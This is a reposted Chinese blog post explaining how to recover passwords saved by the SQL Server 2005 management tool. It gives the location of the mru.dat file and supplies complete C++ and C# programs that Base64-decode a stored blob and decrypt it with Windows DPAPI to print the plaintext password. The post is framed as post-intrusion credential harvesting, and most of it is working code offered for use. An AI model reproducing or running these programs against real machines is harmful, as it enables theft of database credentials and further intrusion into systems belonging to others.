获取本机MSSQL保存凭证
本文转自王子博客:http://www.cnblogs.com/killbit/p/4355950.html
首先要感谢哥们对我的指点,多谢。
当我们遇到类似情况下,如何获取保存在MSSQL工具里的凭证呢?
//如果对方连接地址后面加了IP\sqlexpress 连接的时候你也记得加上,不然即使密码正确,也会说登录失败。
通过和哥们讨论研究分析以及查找资料,知道了密码存放的地方:
C:\Users\Administrator\AppData\Roaming\Microsoft\Microsoft SQL Server\90\Tools\ShellSEM\mru.dat (当前MSSQL 连接工具为2005)
我们通过C32来查看MRU.DAT,会发现一串BASE64编码:
这个就是我们的保存的凭证,但是并不是直接还原BASE64就可以了,需要DECODE后还需要DPAPI来进行解密:
代码如下:
// Encode.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <Windows.h> #include <stdio.h> #include <iostream> #include <cstdlib> #include <stdio.h> #pragma comment(lib, "crypt32.lib") using namespace std; int Base64Decoder(char *input, unsigned char *output) { char base64string[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; BYTE dataBuffer[4]; BYTE outputBuffer[3]; BYTE finalBuffer[1000]; int count=0; int padCount=0; int length; length = strlen(input); //Validate the data for BASE64 if( length % 4 ) { printf("%s - Invalid base64 data is supplied %s (%d) ", input, length); return 0; } //count the no of padding if (input[length-1] == '=') padCount++; if (input[length-2] == '=') padCount++; // Process 4 chars in each loop to produce 3 chars for (int i=0; i < length; i += 4) { // Populate data buffer with position of Base64 characters for // next 4 bytes from encoded data for (int j=0; j < 4 && (i + j < length); j++) dataBuffer[j] = ( (int)strchr(base64string, input[i+j]) - (int)base64string ); //Decode data buffer back into bytes outputBuffer[0] = (dataBuffer[0] << 2) + ((dataBuffer[1] & 0x30) >> 4); outputBuffer[1] = ((dataBuffer[1] & 0x0f) << 4) + ((dataBuffer[2] & 0x3c) >> 2); outputBuffer[2] = ((dataBuffer[2] & 0x03) << 6) + dataBuffer[3]; // Add all non-padded bytes in output buffer to decoded data for (int k = 0; k < 3; k++) finalBuffer[count++]=outputBuffer[k]; } count = count-padCount; //copy the decoded data into input buffer memcpy(output, finalBuffer, count); output[count]='\0'; printf("Base64 decoded string is [%s] (%d) ", output, count); // std::cout << "11111" << std::endl; std::cout << finalBuffer << std::endl; return count; } int main(int argc,char** argv) { unsigned char output[1000] = {0}; //Base64Decoder("ZnVja3lvdQ==",output); int i=Base64Decoder("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A==",output); if (i == 0) { printf("Encode error\r\n"); return -1; } DATA_BLOB DataPassword; DATA_BLOB DataOutput; DataPassword.cbData = i; DataPassword.pbData = output; if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt Mssql password { wcout << "Mssql credence Password Length: " << DataOutput.cbData << "\r\n"; wcout << "Mssql credence Password: " << (wchar_t*)DataOutput.pbData; }else { wcout << "Error";
return -1; } return 0; }
还有一份C#,是我哥们写的:
using System; using System.Collections.Generic; //using System.Linq; using System.Text; namespace Mssql { class Program { static void Main(string[] args) { Console.WriteLine(Encoding.Unicode.GetString(System.Security.Cryptography.ProtectedData.Unprotect(Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfKVVCtCkz0SDfRfzGeyufQAAAAAQAAAARABlAGYAYQB1AGwAdAAAABBmAAAAAQAAIAAAAIDhFHSsCl9qoM1CbxlSVXqLXSDUuBs5sCx2hzy+tnkuAAAAAA6AAAAAAgAAIAAAAAdEQoQTYAeQGJYMsDfuOJdLHMGK4VtTu6SOzbla/TZFEAAAAACxb3rEQZjUHOpYTlkfwnhAAAAASc5uN4LAZ9A2IZadYsBRG87JhQjbWaQLY18FKf0fbyRlxIEQmxJm+1FLBCep32aWY4qkPy+1aELhj6IjnbCq/A=="), null, System.Security.Cryptography.DataProtectionScope.LocalMachine))); } } }
还原后:
VC
C#